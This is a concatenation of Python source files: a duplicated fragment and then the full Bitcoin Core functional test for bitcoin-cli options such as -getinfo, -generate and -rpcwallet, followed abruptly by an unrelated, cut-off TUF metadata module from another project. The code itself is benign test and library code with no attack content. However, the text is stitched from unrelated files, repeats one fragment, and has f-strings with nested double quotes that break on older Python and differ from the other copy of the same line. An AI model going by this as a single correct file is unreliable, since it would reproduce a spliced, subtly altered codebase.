assert 'Balances' in cli_get_info_string for k, v in zip(wallets[1:], amounts[1:]): assert_equal(Decimal(cli_get_info['Balances'][k]), v) assert wallets[0] not in cli_get_info self.log.info("Test -getinfo after unloading all wallets except a non-default one returns its balance") self.nodes[0].unloadwallet(wallets[2]) assert_equal(self.nodes[0].listwallets(), [wallets[1]]) cli_get_info_string = self.nodes[0].cli('-getinfo').send_cli() cli_get_info = cli_get_info_string_to_dict(cli_get_info_string) assert 'Balances' not in cli_get_info_string assert_equal(cli_get_info['Wallet'], wallets[1]) assert_equal(Decimal(cli_get_info['Balance']), amounts[1]) self.log.info("Test -getinfo with -rpcwallet=remaining-non-default-wallet returns only its balance") cli_get_info_string = self.nodes[0].cli('-getinfo', rpcwallet2).send_cli() cli_get_info = cli_get_info_string_to_dict(cli_get_info_string) assert 'Balances' not in cli_get_info_string assert_equal(cli_get_info['Wallet'], wallets[1]) assert_equal(Decimal(cli_get_info['Balance']), amounts[1]) self.log.info("Test -getinfo with -rpcwallet=unloaded wallet returns no balances") cli_get_info_string = self.nodes[0].cli('-getinfo', rpcwallet3).send_cli() cli_get_info_keys = cli_get_info_string_to_dict(cli_get_info_string) assert 'Balance' not in cli_get_info_keys assert 'Balances' not in cli_get_info_string # Test bitcoin-cli -generate. n1 = 3 n2 = 4 w2.walletpassphrase(password, self.rpc_timeout) blocks = self.nodes[0].getblockcount() self.log.info('Test -generate with no args') generate = self.nodes[0].cli('-generate').send_cli() assert_equal(set(generate.keys()), {'address', 'blocks'}) assert_equal(len(generate["blocks"]), 1) assert_equal(self.nodes[0].getblockcount(), blocks + 1) self.log.info('Test -generate with bad args') assert_raises_process_error(1, JSON_PARSING_ERROR, self.nodes[0].cli('-generate', 'foo').echo) assert_raises_process_error(1, BLOCKS_VALUE_OF_ZERO, self.nodes[0].cli('-generate', 0).echo) assert_raises_process_error(1, TOO_MANY_ARGS, self.nodes[0].cli('-generate', 1, 2, 3).echo) self.log.info('Test -generate with nblocks') generate = self.nodes[0].cli('-generate', n1).send_cli() assert_equal(set(generate.keys()), {'address', 'blocks'}) assert_equal(len(generate["blocks"]), n1) assert_equal(self.nodes[0].getblockcount(), blocks + 1 + n1) self.log.info('Test -generate with nblocks and maxtries') generate = self.nodes[0].cli('-generate', n2, 1000000).send_cli() assert_equal(set(generate.keys()), {'address', 'blocks'}) assert_equal(len(generate["blocks"]), n2) assert_equal(self.nodes[0].getblockcount(), blocks + 1 + n1 + n2) self.log.info('Test -generate -rpcwallet in single-wallet mode') generate = self.nodes[0].cli(rpcwallet2, '-generate').send_cli() assert_equal(set(generate.keys()), {'address', 'blocks'}) assert_equal(len(generate["blocks"]), 1) assert_equal(self.nodes[0].getblockcount(), blocks + 2 + n1 + n2) self.log.info('Test -generate -rpcwallet=unloaded wallet raises RPC error') assert_raises_rpc_error(-18, WALLET_NOT_LOADED, self.nodes[0].cli(rpcwallet3, '-generate').echo) assert_raises_rpc_error(-18, WALLET_NOT_LOADED, self.nodes[0].cli(rpcwallet3, '-generate', 'foo').echo) assert_raises_rpc_error(-18, WALLET_NOT_LOADED, self.nodes[0].cli(rpcwallet3, '-generate', 0).echo) assert_raises_rpc_error(-18, WALLET_NOT_LOADED, self.nodes[0].cli(rpcwallet3, '-generate', 1, 2, 3).echo) # Test bitcoin-cli -generate with -rpcwallet in multiwallet mode. self.nodes[0].loadwallet(wallets[2]) n3 = 4 n4 = 10 blocks = self.nodes[0].getblockcount() self.log.info('Test -generate -rpcwallet with no args') generate = self.nodes[0].cli(rpcwallet2, '-generate').send_cli() assert_equal(set(generate.keys()), {'address', 'blocks'}) assert_equal(len(generate["blocks"]), 1) assert_equal(self.nodes[0].getblockcount(), blocks + 1) self.log.info('Test -generate -rpcwallet with bad args') assert_raises_process_error(1, JSON_PARSING_ERROR, self.nodes[0].cli(rpcwallet2, '-generate', 'foo').echo) assert_raises_process_error(1, BLOCKS_VALUE_OF_ZERO, self.nodes[0].cli(rpcwallet2, '-generate', 0).echo) assert_raises_process_error(1, TOO_MANY_ARGS, self.nodes[0].cli(rpcwallet2, '-generate', 1, 2, 3).echo) self.log.info('Test -generate -rpcwallet with nblocks') generate = self.nodes[0].cli(rpcwallet2, '-generate', n3).send_cli() assert_equal(set(generate.keys()), {'address', 'blocks'}) assert_equal(len(generate["blocks"]), n3) assert_equal(self.nodes[0].getblockcount(), blocks + 1 + n3) self.log.info('Test -generate -rpcwallet with nblocks and maxtries') generate = self.nodes[0].cli(rpcwallet2, '-generate', n4, 1000000).send_cli() assert_equal(set(generate.keys()), {'address', 'blocks'}) assert_equal(len(generate["blocks"]), n4) assert_equal(self.nodes[0].getblockcount(), blocks + 1 + n3 + n4) self.log.info('Test -generate without -rpcwallet in multiwallet mode raises RPC error') assert_raises_rpc_error(-19, WALLET_NOT_SPECIFIED, self.nodes[0].cli('-generate').echo) assert_raises_rpc_error(-19, WALLET_NOT_SPECIFIED, self.nodes[0].cli('-generate', 'foo').echo) assert_raises_rpc_error(-19, WALLET_NOT_SPECIFIED, self.nodes[0].cli('-generate', 0).echo) assert_raises_rpc_error(-19, WALLET_NOT_SPECIFIED, self.nodes[0].cli('-generate', 1, 2, 3).echo) else: self.log.info("*** Wallet not compiled; cli getwalletinfo and -getinfo wallet tests skipped") self.generate(self.nodes[0], 25) # maintain block parity with the wallet_compiled conditional branch self.log.info("Test -version with node stopped") self.stop_node(0) cli_response = self.nodes[0].cli('-version').send_cli() assert f"{self.config["environment"]["PACKAGE_NAME"]} RPC client version" in cli_response self.log.info("Test -rpcwait option successfully waits for RPC connection") self.nodes[0].start() # start node without RPC connection self.nodes[0].wait_for_cookie_credentials() # ensure cookie file is available to avoid race condition blocks = self.nodes[0].cli('-rpcwait').send_cli('getblockcount') self.nodes[0].wait_for_rpc_connection() assert_equal(blocks, BLOCKS + 25) self.log.info("Test -rpcwait option waits at most -rpcwaittimeout seconds for startup") self.stop_node(0) # stop the node so we time out start_time = time.time() assert_raises_process_error(1, "Could not connect to the server", self.nodes[0].cli('-rpcwait', '-rpcwaittimeout=5').echo) assert_greater_than_or_equal(time.time(), start_time + 5) if __name__ == '__main__': TestBitcoinCli().main()
#!/usr/bin/env python3 # Copyright (c) 2017-2021 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Test bitcoin-cli""" from decimal import Decimal import re from test_framework.blocktools import COINBASE_MATURITY from test_framework.test_framework import BitcoinTestFramework from test_framework.util import ( assert_equal, assert_greater_than_or_equal, assert_raises_process_error, assert_raises_rpc_error, get_auth_cookie, ) import time # The block reward of coinbaseoutput.nValue (50) BTC/block matures after # COINBASE_MATURITY (100) blocks. Therefore, after mining 101 blocks we expect # node 0 to have a balance of (BLOCKS - COINBASE_MATURITY) * 50 BTC/block. BLOCKS = COINBASE_MATURITY + 1 BALANCE = (BLOCKS - 100) * 50 JSON_PARSING_ERROR = 'error: Error parsing JSON: foo' BLOCKS_VALUE_OF_ZERO = 'error: the first argument (number of blocks to generate, default: 1) must be an integer value greater than zero' TOO_MANY_ARGS = 'error: too many arguments (maximum 2 for nblocks and maxtries)' WALLET_NOT_LOADED = 'Requested wallet does not exist or is not loaded' WALLET_NOT_SPECIFIED = 'Wallet file not specified' def cli_get_info_string_to_dict(cli_get_info_string): """Helper method to convert human-readable -getinfo into a dictionary""" cli_get_info = {} lines = cli_get_info_string.splitlines() line_idx = 0 ansi_escape = re.compile(r'(\x9B|\x1B\[)[0-?]*[ -\/]*[@-~]') while line_idx < len(lines): # Remove ansi colour code line = ansi_escape.sub('', lines[line_idx]) if "Balances" in line: # When "Balances" appears in a line, all of the following lines contain "balance: wallet" until an empty line cli_get_info["Balances"] = {} while line_idx < len(lines) and not (lines[line_idx + 1] == ''): line_idx += 1 balance, wallet = lines[line_idx].strip().split(" ") # Remove right justification padding wallet = wallet.strip() if wallet == '""': # Set default wallet("") to empty string wallet = '' cli_get_info["Balances"][wallet] = balance.strip() elif ": " in line: key, value = line.split(": ") if key == 'Wallet' and value == '""': # Set default wallet("") to empty string value = '' if key == "Proxies" and value == "n/a": # Set N/A to empty string to represent no proxy value = '' cli_get_info[key.strip()] = value.strip() line_idx += 1 return cli_get_info class TestBitcoinCli(BitcoinTestFramework): def is_specified_wallet_compiled(self): if self.options.descriptors: return self.is_sqlite_compiled() else: return self.is_bdb_compiled() def set_test_params(self): self.setup_clean_chain = True self.num_nodes = 1 if self.is_specified_wallet_compiled(): self.requires_wallet = True def skip_test_if_missing_module(self): self.skip_if_no_cli() def run_test(self): """Main test logic""" self.generate(self.nodes[0], BLOCKS) self.log.info("Compare responses from getblockchaininfo RPC and `bitcoin-cli getblockchaininfo`") cli_response = self.nodes[0].cli.getblockchaininfo() rpc_response = self.nodes[0].getblockchaininfo() assert_equal(cli_response, rpc_response) user, password = get_auth_cookie(self.nodes[0].datadir, self.chain) self.log.info("Test -stdinrpcpass option") assert_equal(BLOCKS, self.nodes[0].cli(f'-rpcuser={user}', '-stdinrpcpass', input=password).getblockcount()) assert_raises_process_error(1, 'Incorrect rpcuser or rpcpassword', self.nodes[0].cli(f'-rpcuser={user}', '-stdinrpcpass', input='foo').echo) self.log.info("Test -stdin and -stdinrpcpass") assert_equal(['foo', 'bar'], self.nodes[0].cli(f'-rpcuser={user}', '-stdin', '-stdinrpcpass', input=f'{password}\nfoo\nbar').echo()) assert_raises_process_error(1, 'Incorrect rpcuser or rpcpassword', self.nodes[0].cli(f'-rpcuser={user}', '-stdin', '-stdinrpcpass', input='foo').echo) self.log.info("Test connecting to a non-existing server") assert_raises_process_error(1, "Could not connect to the server", self.nodes[0].cli('-rpcport=1').echo) self.log.info("Test connecting with non-existing RPC cookie file") assert_raises_process_error(1, "Could not locate RPC credentials", self.nodes[0].cli('-rpccookiefile=does-not-exist', '-rpcpassword=').echo) self.log.info("Test -getinfo with arguments fails") assert_raises_process_error(1, "-getinfo takes no arguments", self.nodes[0].cli('-getinfo').help) self.log.info("Test -getinfo with -color=never does not return ANSI escape codes") assert "\u001b[0m" not in self.nodes[0].cli('-getinfo', '-color=never').send_cli() self.log.info("Test -getinfo with -color=always returns ANSI escape codes") assert "\u001b[0m" in self.nodes[0].cli('-getinfo', '-color=always').send_cli() self.log.info("Test -getinfo with invalid value for -color option") assert_raises_process_error(1, "Invalid value for -color option. Valid values: always, auto, never.", self.nodes[0].cli('-getinfo', '-color=foo').send_cli) self.log.info("Test -getinfo returns expected network and blockchain info") if self.is_specified_wallet_compiled(): self.nodes[0].encryptwallet(password) cli_get_info_string = self.nodes[0].cli('-getinfo').send_cli() cli_get_info = cli_get_info_string_to_dict(cli_get_info_string) network_info = self.nodes[0].getnetworkinfo() blockchain_info = self.nodes[0].getblockchaininfo() assert_equal(int(cli_get_info['Version']), network_info['version']) assert_equal(cli_get_info['Verification progress'], "%.4f%%" % (blockchain_info['verificationprogress'] * 100)) assert_equal(int(cli_get_info['Blocks']), blockchain_info['blocks']) assert_equal(int(cli_get_info['Headers']), blockchain_info['headers']) assert_equal(int(cli_get_info['Time offset (s)']), network_info['timeoffset']) expected_network_info = f"in {network_info['connections_in']}, out {network_info['connections_out']}, total {network_info['connections']}" assert_equal(cli_get_info["Network"], expected_network_info) assert_equal(cli_get_info['Proxies'], network_info['networks'][0]['proxy']) assert_equal(Decimal(cli_get_info['Difficulty']), blockchain_info['difficulty']) assert_equal(cli_get_info['Chain'], blockchain_info['chain']) self.log.info("Test -getinfo and bitcoin-cli return all proxies") self.restart_node(0, extra_args=["-proxy=127.0.0.1:9050", "-i2psam=127.0.0.1:7656"]) network_info = self.nodes[0].getnetworkinfo() cli_get_info_string = self.nodes[0].cli('-getinfo').send_cli() cli_get_info = cli_get_info_string_to_dict(cli_get_info_string) assert_equal(cli_get_info["Proxies"], "127.0.0.1:9050 (ipv4, ipv6, onion, cjdns), 127.0.0.1:7656 (i2p)") if self.is_specified_wallet_compiled(): self.log.info("Test -getinfo and bitcoin-cli getwalletinfo return expected wallet info") # Explicitely set the output type in order to have constintent tx vsize / fees # for both legacy and descriptor wallets (disables the change address type detection algorithm) self.restart_node(0, extra_args=["-addresstype=bech32", "-changetype=bech32"]) assert_equal(Decimal(cli_get_info['Balance']), BALANCE) assert 'Balances' not in cli_get_info_string wallet_info = self.nodes[0].getwalletinfo() assert_equal(int(cli_get_info['Keypool size']), wallet_info['keypoolsize']) assert_equal(int(cli_get_info['Unlocked until']), wallet_info['unlocked_until']) assert_equal(Decimal(cli_get_info['Transaction fee rate (-paytxfee) (BTC/kvB)']), wallet_info['paytxfee']) assert_equal(Decimal(cli_get_info['Min tx relay fee rate (BTC/kvB)']), network_info['relayfee']) assert_equal(self.nodes[0].cli.getwalletinfo(), wallet_info) # Setup to test -getinfo, -generate, and -rpcwallet= with multiple wallets. wallets = [self.default_wallet_name, 'Encrypted', 'secret'] amounts = [BALANCE + Decimal('9.999928'), Decimal(9), Decimal(31)] self.nodes[0].createwallet(wallet_name=wallets[1]) self.nodes[0].createwallet(wallet_name=wallets[2]) w1 = self.nodes[0].get_wallet_rpc(wallets[0]) w2 = self.nodes[0].get_wallet_rpc(wallets[1]) w3 = self.nodes[0].get_wallet_rpc(wallets[2]) rpcwallet2 = f'-rpcwallet={wallets[1]}' rpcwallet3 = f'-rpcwallet={wallets[2]}' w1.walletpassphrase(password, self.rpc_timeout) w2.encryptwallet(password) w1.sendtoaddress(w2.getnewaddress(), amounts[1]) w1.sendtoaddress(w3.getnewaddress(), amounts[2]) # Mine a block to confirm; adds a block reward (50 BTC) to the default wallet. self.generate(self.nodes[0], 1) self.log.info("Test -getinfo with multiple wallets and -rpcwallet returns specified wallet balance") for i in range(len(wallets)): cli_get_info_string = self.nodes[0].cli('-getinfo', f'-rpcwallet={wallets[i]}').send_cli() cli_get_info = cli_get_info_string_to_dict(cli_get_info_string) assert 'Balances' not in cli_get_info_string assert_equal(cli_get_info["Wallet"], wallets[i]) assert_equal(Decimal(cli_get_info['Balance']), amounts[i]) self.log.info("Test -getinfo with multiple wallets and -rpcwallet=non-existing-wallet returns no balances") cli_get_info_string = self.nodes[0].cli('-getinfo', '-rpcwallet=does-not-exist').send_cli() assert 'Balance' not in cli_get_info_string assert 'Balances' not in cli_get_info_string self.log.info("Test -getinfo with multiple wallets returns all loaded wallet names and balances") assert_equal(set(self.nodes[0].listwallets()), set(wallets)) cli_get_info_string = self.nodes[0].cli('-getinfo').send_cli() cli_get_info = cli_get_info_string_to_dict(cli_get_info_string) assert 'Balance' not in cli_get_info for k, v in zip(wallets, amounts): assert_equal(Decimal(cli_get_info['Balances'][k]), v) # Unload the default wallet and re-verify. self.nodes[0].unloadwallet(wallets[0]) assert wallets[0] not in self.nodes[0].listwallets() cli_get_info_string = self.nodes[0].cli('-getinfo').send_cli() cli_get_info = cli_get_info_string_to_dict(cli_get_info_string) assert 'Balance' not in cli_get_info assert 'Balances' in cli_get_info_string for k, v in zip(wallets[1:], amounts[1:]): assert_equal(Decimal(cli_get_info['Balances'][k]), v) assert wallets[0] not in cli_get_info self.log.info("Test -getinfo after unloading all wallets except a non-default one returns its balance") self.nodes[0].unloadwallet(wallets[2]) assert_equal(self.nodes[0].listwallets(), [wallets[1]]) cli_get_info_string = self.nodes[0].cli('-getinfo').send_cli() cli_get_info = cli_get_info_string_to_dict(cli_get_info_string) assert 'Balances' not in cli_get_info_string assert_equal(cli_get_info['Wallet'], wallets[1]) assert_equal(Decimal(cli_get_info['Balance']), amounts[1]) self.log.info("Test -getinfo with -rpcwallet=remaining-non-default-wallet returns only its balance") cli_get_info_string = self.nodes[0].cli('-getinfo', rpcwallet2).send_cli() cli_get_info = cli_get_info_string_to_dict(cli_get_info_string) assert 'Balances' not in cli_get_info_string assert_equal(cli_get_info['Wallet'], wallets[1]) assert_equal(Decimal(cli_get_info['Balance']), amounts[1]) self.log.info("Test -getinfo with -rpcwallet=unloaded wallet returns no balances") cli_get_info_string = self.nodes[0].cli('-getinfo', rpcwallet3).send_cli() cli_get_info_keys = cli_get_info_string_to_dict(cli_get_info_string) assert 'Balance' not in cli_get_info_keys assert 'Balances' not in cli_get_info_string # Test bitcoin-cli -generate. n1 = 3 n2 = 4 w2.walletpassphrase(password, self.rpc_timeout) blocks = self.nodes[0].getblockcount() self.log.info('Test -generate with no args') generate = self.nodes[0].cli('-generate').send_cli() assert_equal(set(generate.keys()), {'address', 'blocks'}) assert_equal(len(generate["blocks"]), 1) assert_equal(self.nodes[0].getblockcount(), blocks + 1) self.log.info('Test -generate with bad args') assert_raises_process_error(1, JSON_PARSING_ERROR, self.nodes[0].cli('-generate', 'foo').echo) assert_raises_process_error(1, BLOCKS_VALUE_OF_ZERO, self.nodes[0].cli('-generate', 0).echo) assert_raises_process_error(1, TOO_MANY_ARGS, self.nodes[0].cli('-generate', 1, 2, 3).echo) self.log.info('Test -generate with nblocks') generate = self.nodes[0].cli('-generate', n1).send_cli() assert_equal(set(generate.keys()), {'address', 'blocks'}) assert_equal(len(generate["blocks"]), n1) assert_equal(self.nodes[0].getblockcount(), blocks + 1 + n1) self.log.info('Test -generate with nblocks and maxtries') generate = self.nodes[0].cli('-generate', n2, 1000000).send_cli() assert_equal(set(generate.keys()), {'address', 'blocks'}) assert_equal(len(generate["blocks"]), n2) assert_equal(self.nodes[0].getblockcount(), blocks + 1 + n1 + n2) self.log.info('Test -generate -rpcwallet in single-wallet mode') generate = self.nodes[0].cli(rpcwallet2, '-generate').send_cli() assert_equal(set(generate.keys()), {'address', 'blocks'}) assert_equal(len(generate["blocks"]), 1) assert_equal(self.nodes[0].getblockcount(), blocks + 2 + n1 + n2) self.log.info('Test -generate -rpcwallet=unloaded wallet raises RPC error') assert_raises_rpc_error(-18, WALLET_NOT_LOADED, self.nodes[0].cli(rpcwallet3, '-generate').echo) assert_raises_rpc_error(-18, WALLET_NOT_LOADED, self.nodes[0].cli(rpcwallet3, '-generate', 'foo').echo) assert_raises_rpc_error(-18, WALLET_NOT_LOADED, self.nodes[0].cli(rpcwallet3, '-generate', 0).echo) assert_raises_rpc_error(-18, WALLET_NOT_LOADED, self.nodes[0].cli(rpcwallet3, '-generate', 1, 2, 3).echo) # Test bitcoin-cli -generate with -rpcwallet in multiwallet mode. self.nodes[0].loadwallet(wallets[2]) n3 = 4 n4 = 10 blocks = self.nodes[0].getblockcount() self.log.info('Test -generate -rpcwallet with no args') generate = self.nodes[0].cli(rpcwallet2, '-generate').send_cli() assert_equal(set(generate.keys()), {'address', 'blocks'}) assert_equal(len(generate["blocks"]), 1) assert_equal(self.nodes[0].getblockcount(), blocks + 1) self.log.info('Test -generate -rpcwallet with bad args') assert_raises_process_error(1, JSON_PARSING_ERROR, self.nodes[0].cli(rpcwallet2, '-generate', 'foo').echo) assert_raises_process_error(1, BLOCKS_VALUE_OF_ZERO, self.nodes[0].cli(rpcwallet2, '-generate', 0).echo) assert_raises_process_error(1, TOO_MANY_ARGS, self.nodes[0].cli(rpcwallet2, '-generate', 1, 2, 3).echo) self.log.info('Test -generate -rpcwallet with nblocks') generate = self.nodes[0].cli(rpcwallet2, '-generate', n3).send_cli() assert_equal(set(generate.keys()), {'address', 'blocks'}) assert_equal(len(generate["blocks"]), n3) assert_equal(self.nodes[0].getblockcount(), blocks + 1 + n3) self.log.info('Test -generate -rpcwallet with nblocks and maxtries') generate = self.nodes[0].cli(rpcwallet2, '-generate', n4, 1000000).send_cli() assert_equal(set(generate.keys()), {'address', 'blocks'}) assert_equal(len(generate["blocks"]), n4) assert_equal(self.nodes[0].getblockcount(), blocks + 1 + n3 + n4) self.log.info('Test -generate without -rpcwallet in multiwallet mode raises RPC error') assert_raises_rpc_error(-19, WALLET_NOT_SPECIFIED, self.nodes[0].cli('-generate').echo) assert_raises_rpc_error(-19, WALLET_NOT_SPECIFIED, self.nodes[0].cli('-generate', 'foo').echo) assert_raises_rpc_error(-19, WALLET_NOT_SPECIFIED, self.nodes[0].cli('-generate', 0).echo) assert_raises_rpc_error(-19, WALLET_NOT_SPECIFIED, self.nodes[0].cli('-generate', 1, 2, 3).echo) else: self.log.info("*** Wallet not compiled; cli getwalletinfo and -getinfo wallet tests skipped") self.generate(self.nodes[0], 25) # maintain block parity with the wallet_compiled conditional branch self.log.info("Test -version with node stopped") self.stop_node(0) cli_response = self.nodes[0].cli('-version').send_cli() assert f"{self.config['environment']['PACKAGE_NAME']} RPC client version" in cli_response self.log.info("Test -rpcwait option successfully waits for RPC connection") self.nodes[0].start() # start node without RPC connection self.nodes[0].wait_for_cookie_credentials() # ensure cookie file is available to avoid race condition blocks = self.nodes[0].cli('-rpcwait').send_cli('getblockcount') self.nodes[0].wait_for_rpc_connection() assert_equal(blocks, BLOCKS + 25) self.log.info("Test -rpcwait option waits at most -rpcwaittimeout seconds for startup") self.stop_node(0) # stop the node so we time out start_time = time.time() assert_raises_process_error(1, "Could not connect to the server", self.nodes[0].cli('-rpcwait', '-rpcwaittimeout=5').echo) assert_greater_than_or_equal(time.time(), start_time + 5) if __name__ == '__main__': TestBitcoinCli().main()
# Copyright New York University and the TUF contributors # SPDX-License-Identifier: MIT OR Apache-2.0 """TUF role metadata model. This module provides container classes for TUF role metadata, including methods to read and write from and to file, perform TUF-compliant metadata updates, and create and verify signatures. The metadata model supports any custom serialization format, defaulting to JSON as wireline format and Canonical JSON for reproducible signature creation and verification. Custom serializers must implement the abstract serialization interface defined in 'tuf.api.serialization', and may use the [to|from]_dict convenience methods available in the class model. """ import tempfile from datetime import datetime, timedelta from typing import Any, Dict, List, Mapping, Optional from securesystemslib.keys import verify_signature from securesystemslib.signer import Signature, Signer from securesystemslib.storage import FilesystemBackend, StorageBackendInterface from securesystemslib.util import persist_temp_file from tuf import exceptions, formats from tuf.api.serialization import ( MetadataDeserializer, MetadataSerializer, SignedSerializer, ) # Disable the "C0302: Too many lines in module" warning which warns for modules # with more 1000 lines, because all of the code here is logically connected # and currently, we are above 1000 lines by a small margin. # pylint: disable=C0302 class Metadata: """A container for signed TUF metadata. Provides methods to convert to and from dictionary, read and write to and from file and to create and verify metadata signatures. Attributes: signed: A subclass of Signed, which has the actual metadata payload, i.e. one of Targets, Snapshot, Timestamp or Root. signatures: A list of Securesystemslib Signature objects, each signing the canonical serialized representation of 'signed'. """ def __init__(self, signed: "Signed", signatures: List[Signature]) -> None: self.signed = signed self.signatures = signatures @classmethod def from_dict(cls, metadata: Dict[str, Any]) -> "Metadata": """Creates Metadata object from its dict representation. Arguments: metadata: TUF metadata in dict representation. Raises: KeyError: The metadata dict format is invalid. ValueError: The metadata has an unrecognized signed._type field. Side Effect: Destroys the metadata dict passed by reference. Returns: A TUF Metadata object. """ # Dispatch to contained metadata class on metadata _type field. _type = metadata["signed"]["_type"] if _type == "targets": inner_cls = Targets elif _type == "snapshot": inner_cls = Snapshot elif _type == "timestamp": inner_cls = Timestamp elif _type == "root": inner_cls = Root else: raise ValueError(f'unrecognized metadata type "{_type}"') signatures = [] for signature in metadata.pop("signatures"): signature_obj = Signature.from_dict(signature) signatures.append(signature_obj) return cls( signed=inner_cls.from_dict(metadata.pop("signed")), signatures=signatures, ) @classmethod def from_file( cls, filename: str, deserializer: Optional[MetadataDeserializer] = None, storage_backend: Optional[StorageBackendInterface] = None, ) -> "Metadata": """Loads TUF metadata from file storage. Arguments: filename: The path to read the file from. deserializer: A MetadataDeserializer subclass instance that implements the desired wireline format deserialization. Per default a JSONDeserializer is used. storage_backend: An object that implements securesystemslib.storage.StorageBackendInterface. Per default a (local) FilesystemBackend is used. Raises: securesystemslib.exceptions.StorageError: The file cannot be read. tuf.api.serialization.DeserializationError: The file cannot be deserialized. Returns: A TUF Metadata object. """ if storage_backend is None: storage_backend = FilesystemBackend() with storage_backend.get(filename) as file_obj: return cls.from_bytes(file_obj.read(), deserializer) @staticmethod def from_bytes( data: bytes, deserializer: Optional[MetadataDeserializer] = None, ) -> "Metadata": """Loads TUF metadata from raw data. Arguments: data: metadata content as bytes. deserializer: Optional; A MetadataDeserializer instance that implements deserialization. Default is JSONDeserializer. Raises: tuf.api.serialization.DeserializationError: The file cannot be deserialized. Returns: A TUF Metadata object. """ if deserializer is None: # Use local scope import to avoid circular import errors # pylint: disable=import-outside-toplevel from tuf.api.serialization.json import JSONDeserializer deserializer = JSONDeserializer() return deserializer.deserialize(data) def to_dict(self) -> Dict[str, Any]: """Returns the dict representation of self.""" signatures = [] for sig in self.signatures: signatures.append(sig.to_dict()) return {"signatures": signatures, "signed": self.signed.to_dict()} def to_file( self, filename: str, serializer: Optional[MetadataSerializer] = None, storage_backend: Optional[StorageBackendInterface] = None, ) -> None: """Writes TUF metadata to file storage. Arguments: filename: The path to write the file to. serializer: A MetadataSerializer subclass instance that implements the desired wireline format serialization. Per default a JSONSerializer is used. storage_backend: An object that implements securesystemslib.storage.StorageBackendInterface. Per default a (local) FilesystemBackend is used. Raises: tuf.api.serialization.SerializationError: The metadata object cannot be serialized. securesystemslib.exceptions.StorageError: The file cannot be written. """ if serializer is None: # Use local scope import to avoid circular import errors # pylint: disable=import-outside-toplevel from tuf.api.serialization.json import JSONSerializer serializer = JSONSerializer(compact=True) with tempfile.TemporaryFile() as temp_file: temp_file.write(serializer.serialize(self)) persist_temp_file(temp_file, filename, storage_backend) # Signatures. def sign( self, signer: Signer, append: bool = False, signed_serializer: Optional[SignedSerializer] = None, ) -> Dict[str, Any]: """Creates signature over 'signed' and assigns it to 'signatures'. Arguments: signer: An object implementing the securesystemslib.signer.Signer interface. append: A boolean indicating if the signature should be appended to the list of signatures or replace any existing signatures. The default behavior is to replace signatures. signed_serializer: A SignedSerializer subclass instance that implements the desired canonicalization format. Per default a CanonicalJSONSerializer is used. Raises: tuf.api.serialization.SerializationError: 'signed' cannot be serialized. securesystemslib.exceptions.CryptoError, \ securesystemslib.exceptions.UnsupportedAlgorithmError: Signing errors. Returns: A securesystemslib-style signature object. """ if signed_serializer is None: # Use local scope import to avoid circular import errors # pylint: disable=import-outside-toplevel from tuf.api.serialization.json import CanonicalJSONSerializer signed_serializer = CanonicalJSONSerializer() signature = signer.sign(signed_serializer.serialize(self.signed)) if append: self.signatures.append(signature) else: self.signatures = [signature] return signature def verify( self, key: Mapping[str, Any], signed_serializer: Optional[SignedSerializer] = None, ) -> bool: """Verifies 'signatures' over 'signed' that match the passed key by id. Arguments: key: A securesystemslib-style public key object. signed_serializer: A SignedSerializer subclass instance that implements the desired canonicalization format. Per default a CanonicalJSONSerializer is used. Raises: # TODO: Revise exception taxonomy tuf.exceptions.Error: None or multiple signatures found for key. securesystemslib.exceptions.FormatError: Key argument is malformed. tuf.api.serialization.SerializationError: 'signed' cannot be serialized. securesystemslib.exceptions.CryptoError, \ securesystemslib.exceptions.UnsupportedAlgorithmError: Signing errors. Returns: A boolean indicating if the signature is valid for the passed key. """ signatures_for_keyid = list( filter(lambda sig: sig.keyid == key["keyid"], self.signatures) ) if not signatures_for_keyid: raise exceptions.Error(f"no signature for key {key["keyid"]}.") if len(signatures_for_keyid) > 1: raise exceptions.Error( f"{len(signatures_for_keyid)} signatures for key " f"{key["keyid"]}, not sure which one to verify." ) if signed_serializer is None: # Use local scope import to avoid circular import errors # pylint: disable=import-outside-toplevel from tuf.api.serialization.json import CanonicalJSONSerializer signed_serializer = CanonicalJSONSerializer() return verify_signature( key, signatures_for_keyid[0].to_dict(), signed_serializer.serialize(self.signed), ) class Signed: """A base class for the signed part of TUF metadata. Objects with base class Signed are usually included in a Metadata object on the signed attribute. This class provides attributes and methods that are common for all TUF metadata types (roles). Attributes: _type: The metadata type string. Also available without underscore. version: The metadata version number. spec_version: The TUF specification version number (semver) the metadata format adheres to. expires: The metadata expiration datetime object. unrecognized_fields: Dictionary of all unrecognized fields. """ # Signed implementations are expected to override this _signed_type = None # _type and type are identical: 1st replicates file format, 2nd passes lint @property def _type(self): return self._signed_type @property def type(self): return self._signed_type # NOTE: Signed is a stupid name, because this might not be signed yet, but # we keep it to match spec terminology (I often refer to this as "payload", # or "inner metadata") def __init__( self, version: int, spec_version: str, expires: datetime, unrecognized_fields: Optional[Mapping[str, Any]] = None, ) -> None: self.spec_version = spec_version self.expires = expires # TODO: Should we separate data validation from constructor? if version <= 0: raise ValueError(f"version must be > 0, got {version}") self.version = version self.unrecognized_fields: Mapping[str, Any] = unrecognized_fields or {} @classmethod def _common_fields_from_dict(cls, signed_dict: Dict[str, Any]) -> List[Any]: """Returns common fields of 'Signed' instances from the passed dict representation, and returns an ordered list to be passed as leading positional arguments to a subclass constructor. See '{Root, Timestamp, Snapshot, Targets}.from_dict' methods for usage. """ _type = signed_dict.pop("_type") if _type != cls._signed_type: raise ValueError(f"Expected type {cls._signed_type}, got {_type}") version = signed_dict.pop("version") spec_version = signed_dict.pop("spec_version") expires_str = signed_dict.pop("expires") # Convert 'expires' TUF metadata string to a datetime object, which is # what the constructor expects and what we store. The inverse operation # is implemented in '_common_fields_to_dict'. expires = formats.expiry_string_to_datetime(expires_str) return [version, spec_version, expires] def _common_fields_to_dict(self) -> Dict[str, Any]: """Returns dict representation of common fields of 'Signed' instances. See '{Root, Timestamp, Snapshot, Targets}.to_dict' methods for usage. """ return { "_type": self._type, "version": self.version, "spec_version": self.spec_version, "expires": self.expires.isoformat() + "Z", **self.unrecognized_fields, } def is_expired(self, reference_time: datetime = None) -> bool: """Checks metadata expiration against a reference time. Args: reference_time: Optional; The time to check expiration date against. A naive datetime in UTC expected. If not provided, checks against the current UTC date and time. Returns: True if expiration time is less than the reference time. """ if reference_time is None: reference_time = datetime.utcnow() return reference_time >= self.expires # Modification. def bump_expiration(self, delta: timedelta = timedelta(days=1)) -> None: """Increments the expires attribute by the passed timedelta.""" self.expires += delta def bump_version(self) -> None: """Increments the metadata version number by 1.""" self.version += 1 